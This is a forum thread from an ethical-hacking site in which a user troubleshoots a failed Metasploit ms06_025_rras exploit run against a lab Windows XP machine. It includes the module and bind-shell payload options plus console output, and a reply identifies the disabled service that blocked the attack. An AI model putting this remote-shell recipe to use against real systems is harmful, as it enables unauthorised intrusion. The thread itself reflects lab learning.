Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 57 guests and 2 members online
EH-Net News Feeds
Latest Additions
 
Advertisement

You are here: Home arrow Forum arrow Ethical Hacking Discussions and Related Certificationsarrow Malwarearrow ms06_025_rras returns 'could not bind'
EH-Net
May 25, 2012, 03:28:36 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Advertise on EH-Net!! - Reasonable Rates, Highly Targeted Audience.
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: ms06_025_rras returns 'could not bind'  (Read 3319 times)
0 Members and 1 Guest are viewing this topic.
mikeody
Newbie
*
Offline Offline

Posts: 4


View Profile
« on: January 02, 2010, 08:46:52 PM »

Can anyone tell me what is happening please ? 2 PCs on same network - target = 192.168.0.5, Host 192.168.0.3], no firewalls or virus software running on either.

msf exploit(ms06_025_rras) > show options
Module options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.5      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  SRVSVC           yes       The pipe name to use (ROUTER, SRVSVC)

Payload options (windows/shell_bind_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.0.5      no        The target address

Exploit target:
   Id  Name
   --  ----
   1   Windows XP SP1

msf exploit(ms06_025_rras) > exploit
  • Started bind handler
  • Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_np:192.168.0.5[\SRVSVC] ...
  • [-] Exploit failed: Could not bind to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_np:192.168.0.5[\SRVSVC]
  • Exploit completed, but no session was created.
msf exploit(ms06_025_rras) >

I get EXACTLY the same result if the target has NO SPs or just SP1. Also same result if I try a reverse shell payload [windows/shell_reverse_tcp].

Thanks
Logged
phn1x
Newbie
*
Offline Offline

Posts: 26


View Profile
« Reply #1 on: January 03, 2010, 09:31:03 PM »

Reading the output the exploit can't bind to the named pipe due to one of many factors, most like it is not there.

Your problem most likely lies with the fact that the Remote Access Connection Manager service is not started by default for all supported Microsoft Windows operating systems with the exception of Microsoft Windows 2000 Service Pack 4.

But this is only a guess as I have no further information regarding your target.
Logged
mikeody
Newbie
*
Offline Offline

Posts: 4


View Profile
« Reply #2 on: January 03, 2010, 11:39:01 PM »

Brilliant.
Thank you very much.
Remote Access Connection Manager was set to Manual.
Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.16 | SMF © 2011, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.2 seconds with 23 queries.
 

gk_static-ad_feb2012.jpg
Global Knowledge: Build Security Skills to Protect & Defend

els_130x200fixed2.gif
eLearnSecurity Student Course Now Live!
5% Off with Code
ELS-EH-5

SANS Deals 4 EH-Netters
$150 OFF Any SANS Course in Any Format!
Coupon Code: EHN_Connect Including SANS Security West 2012 & SANSFIRE 2012
Recent Forum Topics

cbtnuggets_logo_125.jpg
Try CBT Nuggets Free!

Vote For EH-Net

Add to Technorati Favorites
technorati fave

 
         
Advertisement

© 2012 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.